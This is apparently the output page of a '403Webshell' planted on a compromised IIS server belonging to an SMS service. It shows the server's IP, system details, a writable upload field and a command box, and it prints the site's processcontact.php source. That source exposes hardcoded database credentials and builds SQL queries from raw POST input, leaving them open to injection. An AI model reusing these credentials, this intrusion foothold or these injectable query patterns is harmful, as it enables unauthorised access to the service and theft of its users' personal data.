403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/old247sms.co.uk/247sms.co.uk/wwwroot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/old247sms.co.uk/247sms.co.uk/wwwroot/processcontact.php
<?php
include "general.php";
include "connect.php";
include 'sendmailclient.php';



function getAdminEmail($domain,$flag)
{
 include "connect.php";

 $cnt8 ="";
 

  $query=  "select ".$flag." from admindetails where   domain='".$domain."'";
  //echo $query;
if(!$result= mysqli_query($con,$query))
{
  //echo mysqli_error($con);
  echo "Database error please try again";
   mysqli_close($con);
   return $cnt8;
  
}


while($row = mysqli_fetch_array($result))
{
     
	 $cnt8 = $row['0'];
	//echo "nosa";
}

if ($cnt8==NULL)
   $cnt8 ="";
mysqli_close($con);
return $cnt8;


}			


function rand_string( $length ) {
		$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";	
		
		$size = strlen( $chars );
		for( $i = 0; $i < $length; $i++ ) {
			$str .= $chars[ rand( 0, $size - 1 ) ];
		}
		
		return $str;
	}
	
	

function getUsername( $musername,$domain)
{
 $cnt ="";
 $con=mysqli_connect("127.0.0.1","smsEngine","guEnaR28T","smartsmsrouter");
 // Check connection
 if (mysqli_connect_errno())
   {
    echo mysqli_error($con);
   //echo "-1";
   die();
   }
 $query ="select * from userlogin where username='". $musername ."' and domain='".$domain."'";
//echo $query;
if(!$result= mysqli_query($con,$query))
{
  //echo mysqli_error($con);
  echo "Database error please try again";
   mysqli_close($con);
   exit();
}

$cnt= "";
while($row = mysqli_fetch_array($result))
{
	//$cnt = $row['balairtime'];
	$cnt="yes";
}

//echo $cnt;
mysqli_close($con);
return $cnt;
}			



function getPhone( $phonenumber,$domain)
{
 $cnt ="";
 $con=mysqli_connect("127.0.0.1","smsEngine","guEnaR28T","smartsmsrouter");
 // Check connection
 if (mysqli_connect_errno())
   {
    echo mysqli_error($con);
   //echo "-1";
   die();
   }
 $query ="select * from userlogin where phonenumber='". $phonenumber ."' and domain='".$domain."'";
//echo $query;
if(!$result= mysqli_query($con,$query))
{
  //echo mysqli_error($con);
  echo "Database error please try again";
   mysqli_close($con);
   exit();
}

$cnt= "";
while($row = mysqli_fetch_array($result))
{
	//$cnt = $row['balairtime'];
	$cnt="yes";
}

//echo $cnt;
mysqli_close($con);
return $cnt;
}			





function getEmail( $memail,$domain)
{
 $cnt ="";
 $con=mysqli_connect("127.0.0.1","smsEngine","guEnaR28T","smartsmsrouter");
 // Check connection
 if (mysqli_connect_errno())
   {
    echo mysqli_error($con);
   //echo "-1";
   die();
   }
 $query ="select * from userlogin where email='". $memail ."' and domain='". $domain."'";
//echo $query;
if(!$result= mysqli_query($con,$query))
{
  //echo mysqli_error($con);
  echo "Database error please try again";
   mysqli_close($con);
   exit();
}

$cnt= "";
while($row = mysqli_fetch_array($result))
{
	//$cnt = $row['balairtime'];
	$cnt="yes";
}

//echo $cnt;
mysqli_close($con);
return $cnt;
}			


 function reguserlogin( $username,$pass,$phonenumber,$pin,$domain,$email,$country,$state,$fullname,$address,$referrer,$birthday,$birthmonth,$birthyear,$smscode,$emailcode)
{

$clientip =  getMyIP();
$activationcode = $smscode.$emailcode;
$clientbirthday = $birthyear."/".$birthmonth."/".$birthmonth;
$username=removePosion($username);
$address=removePosion($address);
$pass=removePosion($pass);
$referrer=removePosion($referrer);
$fullname=removePosion($fullname);


$query= "insert into  userlogin (username,pass,clientip,phonenumber,mlock,pin,datecreated,domain,email,fullname,activationcode,referrer,address,birthday,country,state) values ('". $username ."','". $pass."','".$clientip."','".$phonenumber."','0',"."password('".$pin."')".",'".date('Y-m-d H:i:s')."','".$domain."','".$email."','".$fullname."','".$activationcode."','".$referrer."','".$address."','".$clientbirthday."','".$country."','".$state."')";


 $cnt ="";
 $con=mysqli_connect("127.0.0.1","smsEngine","guEnaR28T","smartsmsrouter");
 // Check connection
 if (mysqli_connect_errno())
   {
    echo mysqli_error($con);
   //echo "-1";
   die();
   }
   
// $query="insert messagesentsingle(transid,username,phonenumber,message,sender,status,domain,dateused) values ('".$transid."','".$username."','".$phonenumber. "','". $mess. "','". $sender. "','0','". $domain. "','".  date('Y-m-d H:i:s')."')";
  
  
// $query ="select * from userlogin where email='". $memail ."' and domain='". $domain."'";
//echo $query;
if(!$result= mysqli_query($con,$query))
{
  //echo mysqli_error($con);
  echo "Database error please try again";
   mysqli_close($con);
   return "-1";
  
}
else
{
 $cnt= "0";
 mysqli_close($con);
 return $cnt; 
}


}


function regsmsaccount( $username,$accounttype,$domain)
{

$username=removePosion($username);
if ($accounttype =="naira")
  {
     $query="insert into smsaccount (username,balnaira,domain) values ('".$username."','5.0','".$domain."')";
  }
  

if ($accounttype =="dollars")
  {
     $query="insert into smsaccount (username,baldollar,domain) values ('".$username."','1.00','".$domain."')";
  }
  

if ($accounttype =="euro")
  {
     $query="insert into smsaccount (username,baleuro,domain) values ('".$username."','1.00','".$domain."')";
  }
  
 

 $cnt ="";
 $con=mysqli_connect("127.0.0.1","smsEngine","guEnaR28T","smartsmsrouter");
 // Check connection
 if (mysqli_connect_errno())
   {
    echo mysqli_error($con);
   //echo "-1";
   die();
   }
if(!$result= mysqli_query($con,$query))
{
   mysqli_close($con);
   return "-1";
  
}
else
{
 $cnt= "0";
 mysqli_close($con);
 return $cnt; 
}

}


function regsmsprofile( $username,$accounttype,$domain)
{

$username=removePosion($username);

//insert into smsprofile (username,subprofile,rateprofile,domain) values ('system','1','1','247sms.co.uk');

if ($accounttype =="naira")
  {
     $query="insert into smsprofile (username,subprofile,rateprofile,domain) values ('".$username."','1','1','".$domain."')";
  }
  

if ($accounttype =="dollars")
  {
     $query="insert into smsprofile (username,subprofile,rateprofile,domain) values ('".$username."','3','8','".$domain."')";
  }
  

if ($accounttype =="euro")
  {
    $query="insert into smsprofile (username,subprofile,rateprofile,domain) values ('".$username."','2','5','".$domain."')";
  }
  
 

 $cnt ="";
 $con=mysqli_connect("127.0.0.1","smsEngine","guEnaR28T","smartsmsrouter");
 // Check connection
 if (mysqli_connect_errno())
   {
    echo mysqli_error($con);
   //echo "-1";
   die();
   }
if(!$result= mysqli_query($con,$query))
{
   mysqli_close($con);
   return "-1";
  
}
else
{
 $cnt= "0";
 mysqli_close($con);
 return $cnt; 
}

}


//**************************
//**************************
// end of function


date_default_timezone_set('Africa/Lagos'); 



 

 $name =$_POST["name"];  
 $email =$_POST["email"];  
 $subject =$_POST["subject"];  
 $message =$_POST["message"];  
  $phonenumber =$_POST["phonenumber"];  

 
 if ($email =="" || $name == "" || $subject =="" ||$message =="" || $phonenumber ==""){
 
  header('Location: contactus.php?err=2');
   die();
 }
 
 if (!preg_match("/([\w\-]+\@[\w\-]+\.[\w\-]+)/", $email)) {
        header('Location: contactus.php?err=3');
   die();
   }

$query ="INSERT INTO contactus (name,email,phonenumber, subject, message,domain, dateused)  VALUES ('". $name."','". $email."','". $phonenumber."','". $subject ."','". $message."','". $domain. "','". date('Y-m-d H:i:s')."')";
if(!$result= mysqli_query($con,$query))
{
  //echo mysqli_error($con);
 header('Location: contactus.php?err=1');
  mysqli_close($con);
  die();
}
else{

$response="0";
}

if ($response=="0" )
{ 
$mysub = "New Contact Us Message - " . date('Y-m-d H:i:s') . "-" . $domain;
$myMessage ="Dear Support team,<br><br>";
$myMessage .= "We just received new Contact Us Message with the following details <br><br>"; 
$myMessage .= "Name  : <b>" . $name . "</b><br>";
$myMessage .= "Email  : <b>" . $email . "</b><br>";
$myMessage .= "Phonenumber  : <b>" . $phonenumber . "</b><br>";
$myMessage .= "Subject   : <b>" . $subject . "</b><br>";
$myMessage .= "Message  : <b>" . $message . "</b><br><br>";
$myMessage .= "<b>Thanks From Online Support " . $domain."</b>";

$myMmessage2 = $myMmessage;

$email1 = getAdminEmail($domain,"email1");
$email2 = getAdminEmail($domain,"email2");

//if ($email1 !="")
//$mymail = sendmailtoclient($email1,$myMessage,$myMmessage2,$mysub,$mfrom,$mfromname);

//if ($email2 !="")
//$mymail = sendmailtoclient($email2,$myMessage,$myMmessage2,$mysub,$mfrom,$mfromname);




$mysub = "AutoReply : Contact Us Message - " . date('Y-m-d H:i:s') . "-  from " . $domain;
$myMessage ="Dear <b>". $name . "</b>,<br><br>";
$myMessage .= "Your contact us message has been received and our support team will revert shortly<br><br>"; 
$myMessage .= "Thanks for your interest in our service. " . "<br>";
$myMessage .= "<b>Support " . $domain."</b>";
//$mymail = sendmailtoclient($email,$myMessage,$myMmessage2,$mysub,$mfrom,$mfromname);

  header('Location: contactus.php?err=0');
  die();
}
else
{
   header('Location: contactus.php?err=1');
   die();
}


 
?>

Youez - 2016 - github.com/yon3zu
LinuXploit